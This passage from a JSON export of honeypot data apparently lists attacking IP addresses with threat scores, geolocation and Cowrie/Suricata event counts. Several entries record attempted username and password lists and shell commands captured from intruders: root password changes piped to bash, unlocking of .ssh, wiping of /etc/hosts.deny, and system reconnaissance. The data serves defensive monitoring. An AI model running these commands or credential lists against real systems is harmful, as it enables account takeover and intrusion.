      "as_org": "Namecheap, Inc.",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T06:13:58.715000+00:00",
        "last_seen_30d": "2026-05-29T06:37:34.132000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 34
      }
    },
    "101.53.236.155": {
      "attack_count": 183,
      "first_seen": "2026-05-16T18:21:19.658Z",
      "last_seen": "2026-05-16T19:21:58.507Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "david",
        "345gs5662d34",
        "ash",
        "flectra",
        "mbp",
        "openeuler",
        "sonar",
        "testuser",
        "trader",
        "ubuntu",
        "uno85c"
      ],
      "passwords_attempted": [
        "!Qazxsw2",
        "0708228AsBs!",
        "1",
        "123123a@",
        "20192019",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa@159357",
        "Google123",
        "P@ssw0rd!",
        "Pass2025!",
        "Qwer123456!",
        "Vm123456",
        "a1s2d3f4",
        "aA123456..",
        "ash",
        "flectra",
        "mbp",
        "odoo",
        "openeuler"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:4NaCG4Gosx2M\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 237,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T18:21:19.658000+00:00",
        "last_seen_30d": "2026-05-16T19:23:05.550000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 183,
        "Suricata": 54
      }
    },
    "41.60.141.68": {
      "attack_count": 178,
      "first_seen": "2026-05-19T06:54:07.995Z",
      "last_seen": "2026-05-19T17:51:19.222Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": null,
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:54:07.995000+00:00",
        "last_seen_30d": "2026-05-19T17:52:21.632000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 89
      }
    },
    "43.134.13.135": {
      "attack_count": 177,
      "first_seen": "2026-05-19T21:13:17.211Z",
      "last_seen": "2026-05-19T21:41:53.911Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$1234QWER",
        "1122",
        "123456qaz",
        "Tech$123",
        "WW123456.",
        "a1s2d3f4g5",
        "ahti",
        "alejo",
        "aq1sw2de3",
        "asdf",
        "claude",
        "conrad",
        "cygnusx1",
        "hong123",
        "miranda",
        "nelson",
        "nvidia1",
        "rock"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 241,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:13:17.211000+00:00",
        "last_seen_30d": "2026-05-19T21:43:02.567000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 177,
        "Suricata": 64
      }
    },
    "124.156.206.17": {
      "attack_count": 174,
      "first_seen": "2026-05-19T17:39:48.149Z",
      "last_seen": "2026-05-19T18:11:08.370Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "test1",
        "345gs5662d34",
        "claude",
        "mysql",
        "sysadmin",
        "uftp",
        "yamamoto"
      ],
      "passwords_attempted": [
        "!QAZxsw2#EDCvfr4",
        "123",
        "12345678910",
        "123456jJ",
        "1337",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin2025",
        "Claude2026!",
        "Li123456",
        "P@ssw0rd2025",
        "Pass@2020",
        "Qwer1234!",
        "Server1",
        "mustafa",
        "mysql@2026",
        "rahul@123",
        "rootroot",
        "sysadmin@2026",
        "test1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test1234\\nf0P4F2Rfg9vE\\nf0P4F2Rfg9vE\\n\"|passwd",
        "echo -e \"test1234\\nf0P4F2Rfg9vE\\nf0P4F2Rfg9vE\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T17:39:48.149000+00:00",
        "last_seen_30d": "2026-05-19T18:12:17.025000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 174,
        "Suricata": 52
      }
    },
    "34.0.13.61": {
      "attack_count": 170,
      "first_seen": "2026-05-20T08:05:56.731Z",
      "last_seen": "2026-05-20T08:53:38.251Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "12345679",
        "123abc!@",
        "3245gs5662d34",
        "345gs5662d34",
        "alibaba",
        "analytics",
        "asterix",
        "bananas",
        "benny123",
        "claude",
        "com",
        "discover",
        "dotnet",
        "dts",
        "garfield",
        "marcel",
        "oracle@123",
        "pay",
        "ritmo",
        "santiago"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:8BsFtJxL4XHA\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 19527,
      "as_org": "Google LLC",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T08:05:56.731000+00:00",
        "last_seen_30d": "2026-05-20T08:54:39.355000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 170,
        "Suricata": 58
      }
    },
    "209.14.87.61": {
      "attack_count": 149,
      "first_seen": "2026-05-28T18:13:31.625Z",
      "last_seen": "2026-05-28T18:42:35.069Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "vbox",
        "345gs5662d34",
        "admin",
        "botuser",
        "jing",
        "liyan",
        "odoo",
        "teste",
        "user",
        "user02",
        "vr"
      ],
      "passwords_attempted": [
        "1234",
        "123456789",
        "123456qw",
        "3245gs5662d34",
        "345gs5662d34",
        "Huawei12#$",
        "Test123.",
        "a@123456",
        "caroline",
        "fjbdfdjkdsfs541544",
        "jing",
        "liyan123",
        "odoo",
        "qQ@12345678",
        "sa",
        "vbox",
        "vr"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"vbox\\nxQsVTVxKTZB2\\nxQsVTVxKTZB2\\n\"|passwd",
        "echo -e \"vbox\\nxQsVTVxKTZB2\\nxQsVTVxKTZB2\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 272786,
      "as_org": "X99 INTERNET",
      "threat_score": 32.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 191,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T18:13:31.625000+00:00",
        "last_seen_30d": "2026-05-28T18:43:40.413000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 149,
        "Suricata": 42
      }
    },
    "92.204.138.159": {
      "attack_count": 146,
      "first_seen": "2026-05-14T01:59:50.705Z",
      "last_seen": "2026-05-14T06:03:01.273Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 250,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T01:59:50.705000+00:00",
        "last_seen_30d": "2026-05-14T06:04:04.072000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 146,
        "Suricata": 104
      }
    },
    "206.0.181.51": {
      "attack_count": 140,
      "first_seen": "2026-05-18T22:08:03.107Z",
      "last_seen": "2026-05-19T06:17:42.002Z",
      "sessions": 70,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Cabimas",
      "asn": 271907,
      "as_org": "COLNETWORK C.A.",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 210,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:08:03.107000+00:00",
        "last_seen_30d": "2026-05-19T06:18:44.222000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 140,
        "Suricata": 70
      }
    },
    "2.114.85.2": {
      "attack_count": 120,
      "first_seen": "2026-05-19T06:40:55.590Z",
      "last_seen": "2026-05-19T17:57:50.109Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Bologna",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 180,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:40:55.590000+00:00",
        "last_seen_30d": "2026-05-19T17:58:56.827000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 120,
        "Suricata": 60
      }
    },
    "104.140.145.149": {
      "attack_count": 104,
      "first_seen": "2026-05-03T00:19:22.454Z",
      "last_seen": "2026-05-03T01:00:39.941Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62904,
      "as_org": "Eonix Corporation",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:19:22.454000+00:00",
        "last_seen_30d": "2026-05-03T01:11:10.701000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 58
      }
    },
    "197.158.60.93": {
      "attack_count": 104,
      "first_seen": "2026-05-20T18:28:57.862Z",
      "last_seen": "2026-05-21T05:57:24.407Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mozambique",
      "country_code": "MZ",
      "city": "Maputo",
      "asn": 30619,
      "as_org": "TMCEL-Mocambique",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:28:57.862000+00:00",
        "last_seen_30d": "2026-05-21T05:58:34.047000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 52
      }
    },
    "106.40.66.37": {
      "attack_count": 102,
      "first_seen": "2026-05-20T18:24:52.045Z",
      "last_seen": "2026-05-21T00:49:57.716Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:24:52.045000+00:00",
        "last_seen_30d": "2026-05-21T00:51:03.308000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 50
      }
    },
    "104.199.67.204": {
      "attack_count": 71,
      "first_seen": "2026-05-02T04:03:49.019Z",
      "last_seen": "2026-05-02T04:04:34.849Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 393",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:03:49.019000+00:00",
        "last_seen_30d": "2026-05-02T04:05:44.327000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "208.109.39.19": {
      "attack_count": 56,
      "first_seen": "2026-05-06T07:16:56.435Z",
      "last_seen": "2026-05-30T17:07:56.137Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 51.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.9,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T07:16:56.435000+00:00",
        "last_seen_30d": "2026-05-30T17:19:56.107000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Cowrie": 56
      }
    },
    "198.20.104.207": {
      "attack_count": 54,
      "first_seen": "2026-05-15T16:20:20.313Z",
      "last_seen": "2026-05-29T08:25:20.638Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 39.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.0,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T16:20:20.313000+00:00",
        "last_seen_30d": "2026-05-29T08:26:28.512000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "117.134.199.30": {
      "attack_count": 50,
      "first_seen": "2026-05-07T12:09:19.546Z",
      "last_seen": "2026-05-07T12:14:43.971Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T12:09:19.546000+00:00",
        "last_seen_30d": "2026-05-07T12:15:53.926000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.26.24": {
      "attack_count": 50,
      "first_seen": "2026-05-24T18:18:04.287Z",
      "last_seen": "2026-05-24T18:23:28.589Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:18:04.287000+00:00",
        "last_seen_30d": "2026-05-24T18:24:30.966000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "51.81.85.130": {
      "attack_count": 42,
      "first_seen": "2026-05-14T05:30:47.301Z",
      "last_seen": "2026-05-28T07:00:22.112Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T05:30:47.301000+00:00",
        "last_seen_30d": "2026-05-28T07:01:26.207000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "65.21.197.246": {
      "attack_count": 36,
      "first_seen": "2026-05-28T20:05:03.588Z",
      "last_seen": "2026-05-31T09:49:37.901Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T20:05:03.588000+00:00",
        "last_seen_30d": "2026-05-31T09:50:46.631000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "188.29.210.107": {
      "attack_count": 24,
      "first_seen": "2026-05-18T22:17:00.672Z",
      "last_seen": "2026-05-19T05:54:28.447Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Liverpool",
      "asn": 206067,
      "as_org": "Three",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:17:00.672000+00:00",
        "last_seen_30d": "2026-05-19T05:55:34.783000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 12
      }
    },
    "91.244.197.205": {
      "attack_count": 24,
      "first_seen": "2026-05-14T08:35:55.675Z",
      "last_seen": "2026-05-15T00:49:06.369Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": "Vilnius",
      "asn": 213772,
      "as_org": "UAB Baltnetos komunikacijos",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 28,
